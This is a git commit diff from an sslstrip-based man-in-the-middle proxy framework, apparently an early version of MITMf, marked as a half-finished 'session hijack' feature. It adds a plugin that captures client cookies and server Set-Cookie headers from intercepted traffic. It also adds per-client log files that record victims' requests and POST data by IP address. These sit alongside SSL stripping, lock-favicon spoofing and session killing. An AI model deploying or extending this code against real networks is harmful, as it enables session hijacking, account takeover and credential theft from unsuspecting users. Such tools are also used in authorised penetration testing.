session hijack plugin 50% done

This commit is contained in:
byt3bl33d3r 2014-11-28 23:37:11 +01:00
parent e4cf519356
commit fcbc2254bd
6 changed files with 68 additions and 21 deletions

View file

@ -28,7 +28,7 @@ if __name__ == "__main__":
slogopts.add_argument("-p", "--post", action="store_true",help="Log only SSL POSTs. (default)") slogopts.add_argument("-p", "--post", action="store_true",help="Log only SSL POSTs. (default)")
slogopts.add_argument("-s", "--ssl", action="store_true", help="Log all SSL traffic to and from server.") slogopts.add_argument("-s", "--ssl", action="store_true", help="Log all SSL traffic to and from server.")
slogopts.add_argument("-a", "--all", action="store_true", help="Log all SSL and HTTP traffic to and from server.") slogopts.add_argument("-a", "--all", action="store_true", help="Log all SSL and HTTP traffic to and from server.")
#slogopts.add_argument("-c", "--clients", action='store_true', default=False, help='Log each clients data in a seperate file') slogopts.add_argument("-c", "--clients", action='store_true', default=False, help='Log each clients data in a seperate file')
sgroup.add_argument("-l", "--listen", type=int, metavar="port", default=10000, help="Port to listen on (default 10000)") sgroup.add_argument("-l", "--listen", type=int, metavar="port", default=10000, help="Port to listen on (default 10000)")
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.") sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.") sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.")
@ -83,7 +83,7 @@ if __name__ == "__main__":
from sslstrip.StrippingProxyHSTS import StrippingProxy from sslstrip.StrippingProxyHSTS import StrippingProxy
from sslstrip.URLMonitorHSTS import URLMonitor from sslstrip.URLMonitorHSTS import URLMonitor
URLMonitor.getInstance().setFaviconSpoofing(args.favicon) URLMonitor.getInstance().setValues(args.favicon, args.clients)
CookieCleaner.getInstance().setEnabled(args.killsessions) CookieCleaner.getInstance().setEnabled(args.killsessions)
ProxyPlugins.getInstance().setPlugins(load) ProxyPlugins.getInstance().setPlugins(load)
@ -100,7 +100,7 @@ if __name__ == "__main__":
from sslstrip.StrippingProxy import StrippingProxy from sslstrip.StrippingProxy import StrippingProxy
from sslstrip.URLMonitor import URLMonitor from sslstrip.URLMonitor import URLMonitor
URLMonitor.getInstance().setFaviconSpoofing(args.favicon) URLMonitor.getInstance().setValues(args.favicon, args.clients)
CookieCleaner.getInstance().setEnabled(args.killsessions) CookieCleaner.getInstance().setEnabled(args.killsessions)
ProxyPlugins.getInstance().setPlugins(load) ProxyPlugins.getInstance().setPlugins(load)

View file

@ -1,4 +1,5 @@
from plugins.plugin import Plugin from plugins.plugin import Plugin
from sslstrip.URLMonitor import URLMonitor
import os import os
import argparse import argparse
import logging import logging
@ -7,24 +8,35 @@ class SessionHijacker(Plugin):
name = "Session Hijacker" name = "Session Hijacker"
optname = "hijack" optname = "hijack"
desc = "Performs session hijacking attacks against clients" desc = "Performs session hijacking attacks against clients"
implements = ["sendHeaders"] implements = ["cleanHeaders", "handleHeader"]
has_opts = False has_opts = False
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
self.options = options self.options = options
self.log_clients = options.clients self.log_clients = options.clients
self.urlMonitor = URLMonitor.getInstance()
def sendHeaders(self, request): print "[*] Session Hijacker plugin online"
for header, value in request.headers.items():
if header == 'cookie':
if self.log_clients:
log_file = open('./logs/%s.log', 'a' % request.client.getClientIP())
log_file.write(request.header['host'], value, "\n")
log_file.close()
logging.info("%s %s << Wrote cookie to logfile" % (request.client.getClientIP(), request.headers['host'])) def cleanHeaders(self, request): # Client => Server
headers = request.getAllHeaders().copy()
if 'cookie' in headers:
message = "%s Got client cookie: [%s] %s" % (request.getClientIP(), headers['host'], headers['cookie'])
if self.urlMonitor.isClientLogging() is True:
self.urlMonitor.writeClientLog(request, headers, message)
else: else:
logging.info("%s %s << Got cookie: %s" % (request.client.getClientIP(), request.headers['host'], value)) logging.info(message)
def handleHeader(self, request, key, value): # Server => Client
if 'set-cookie' in request.client.headers:
cookie = request.client.headers['set-cookie']
#host = request.client.headers['host']
message = "%s Got server cookie: %s" % (request.client.getClientIP(), cookie)
if self.urlMonitor.isClientLogging() is True:
self.urlMonitor.writeClientLog(request.client, request.client.headers, message)
else:
logging.info(message)
#def add_options(options): #def add_options(options):

View file

@ -33,6 +33,7 @@ from SSLServerConnection import SSLServerConnection
from URLMonitor import URLMonitor from URLMonitor import URLMonitor
from CookieCleaner import CookieCleaner from CookieCleaner import CookieCleaner
from DnsCache import DnsCache from DnsCache import DnsCache
from ProxyPlugins import ProxyPlugins
class ClientRequest(Request): class ClientRequest(Request):
@ -48,6 +49,7 @@ class ClientRequest(Request):
self.urlMonitor = URLMonitor.getInstance() self.urlMonitor = URLMonitor.getInstance()
self.cookieCleaner = CookieCleaner.getInstance() self.cookieCleaner = CookieCleaner.getInstance()
self.dnsCache = DnsCache.getInstance() self.dnsCache = DnsCache.getInstance()
self.plugins = ProxyPlugins.getInstance()
#self.uniqueId = random.randint(0, 10000) #self.uniqueId = random.randint(0, 10000)
def cleanHeaders(self): def cleanHeaders(self):
@ -67,6 +69,8 @@ class ClientRequest(Request):
if 'cache-control' in headers: if 'cache-control' in headers:
del headers['cache-control'] del headers['cache-control']
self.plugins.hook()
return headers return headers
def getPathFromUri(self): def getPathFromUri(self):
@ -96,9 +100,10 @@ class ClientRequest(Request):
try: try:
self.content.seek(0,0) self.content.seek(0,0)
postData = self.content.read()
except: except:
pass pass
postData = self.content.read()
url = 'http://' + host + path url = 'http://' + host + path
self.dnsCache.cacheResolution(host, address) self.dnsCache.cacheResolution(host, address)

View file

@ -54,7 +54,11 @@ class ServerConnection(HTTPClient):
def sendRequest(self): def sendRequest(self):
if self.command == 'GET': if self.command == 'GET':
logging.info("%s Sending Request: %s %s %s" % (self.client.getClientIP(), self.command, self.headers['host'], self.headers['user-agent'])) message = "%s Sending Request: %s" % (self.client.getClientIP(), self.headers['host'])
if self.urlMonitor.isClientLogging() is True:
self.urlMonitor.writeClientLog(self.client, self.headers, message)
else:
logging.info(message)
self.plugins.hook() self.plugins.hook()
self.sendCommand(self.command, self.uri) self.sendCommand(self.command, self.uri)
@ -71,7 +75,11 @@ class ServerConnection(HTTPClient):
elif 'keylog' in self.uri: elif 'keylog' in self.uri:
self.plugins.hook() self.plugins.hook()
else: else:
logging.warning("%s %s Data (%s):\n%s" % (self.client.getClientIP(),self.getPostPrefix(),self.headers['host'],self.postData)) message = "%s %s Data (%s):\n%s" % (self.client.getClientIP(),self.getPostPrefix(),self.headers['host'],self.postData)
if self.urlMonitor.isClientLogging() is True:
self.urlMonitor.writeClientLog(self.client, self.headers, message)
else:
logging.warning(message)
self.transport.write(self.postData) self.transport.write(self.postData)
def connectionMade(self): def connectionMade(self):
@ -88,6 +96,8 @@ class ServerConnection(HTTPClient):
self.client.setResponseCode(int(code), message) self.client.setResponseCode(int(code), message)
def handleHeader(self, key, value): def handleHeader(self, key, value):
self.plugins.hook()
if (key.lower() == 'location'): if (key.lower() == 'location'):
value = self.replaceSecureLinks(value) value = self.replaceSecureLinks(value)
@ -100,6 +110,7 @@ class ServerConnection(HTTPClient):
if (value.find('gzip') != -1): if (value.find('gzip') != -1):
logging.debug("Response is compressed...") logging.debug("Response is compressed...")
self.isCompressed = True self.isCompressed = True
#if (key.lower() == 'strict-transport-security'): #if (key.lower() == 'strict-transport-security'):
# value = 'max-age=0' # value = 'max-age=0'
@ -110,8 +121,6 @@ class ServerConnection(HTTPClient):
else: else:
self.client.setHeader(key, value) self.client.setHeader(key, value)
self.plugins.hook()
def handleEndHeaders(self): def handleEndHeaders(self):
if (self.isImageRequest and self.contentLength != None): if (self.isImageRequest and self.contentLength != None):
self.client.setHeader("Content-Length", self.contentLength) self.client.setHeader("Content-Length", self.contentLength)

View file

@ -20,6 +20,7 @@ from twisted.web.http import HTTPChannel
from ClientRequest import ClientRequest from ClientRequest import ClientRequest
class StrippingProxy(HTTPChannel): class StrippingProxy(HTTPChannel):
'''sslstrip is, at heart, a transparent proxy server that does some unusual things. '''sslstrip is, at heart, a transparent proxy server that does some unusual things.
This is the basic proxy server class, where we get callbacks for GET and POST methods. This is the basic proxy server class, where we get callbacks for GET and POST methods.
We then proxy these out using HTTP or HTTPS depending on what information we have about We then proxy these out using HTTP or HTTPS depending on what information we have about

View file

@ -16,7 +16,7 @@
# USA # USA
# #
import re import re, os
class URLMonitor: class URLMonitor:
@ -41,6 +41,22 @@ class URLMonitor:
return (client,url) in self.strippedURLs return (client,url) in self.strippedURLs
def writeClientLog(self, client, headers, message):
if (client.getClientIP() + '.log') not in os.listdir("./logs"):
try:
log_message = "#Log file for %s (%s)\n" % (client.getClientIP(), headers['user-agent'])
except KeyError:
log_message = "#Log file for %s\n" % client.getClientIP()
log_file = open("./logs/" + client.getClientIP() + ".log", 'a')
log_file.write(log_message + message + "\n")
log_file.close()
else:
log_file = open("./logs/" + client.getClientIP() + ".log", 'a')
log_file.write(message + "\n")
log_file.close()
def getSecurePort(self, client, url): def getSecurePort(self, client, url):
if (client,url) in self.strippedURLs: if (client,url) in self.strippedURLs:
return self.strippedURLPorts[(client,url)] return self.strippedURLPorts[(client,url)]
@ -69,12 +85,16 @@ class URLMonitor:
self.strippedURLs.add((client, url)) self.strippedURLs.add((client, url))
self.strippedURLPorts[(client, url)] = int(port) self.strippedURLPorts[(client, url)] = int(port)
def setFaviconSpoofing(self, faviconSpoofing): def setValues(self, faviconSpoofing, clientLogging):
self.faviconSpoofing = faviconSpoofing self.faviconSpoofing = faviconSpoofing
self.clientLogging = clientLogging
def isFaviconSpoofing(self): def isFaviconSpoofing(self):
return self.faviconSpoofing return self.faviconSpoofing
def isClientLogging(self):
return self.clientLogging
def isSecureFavicon(self, client, url): def isSecureFavicon(self, client, url):
return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))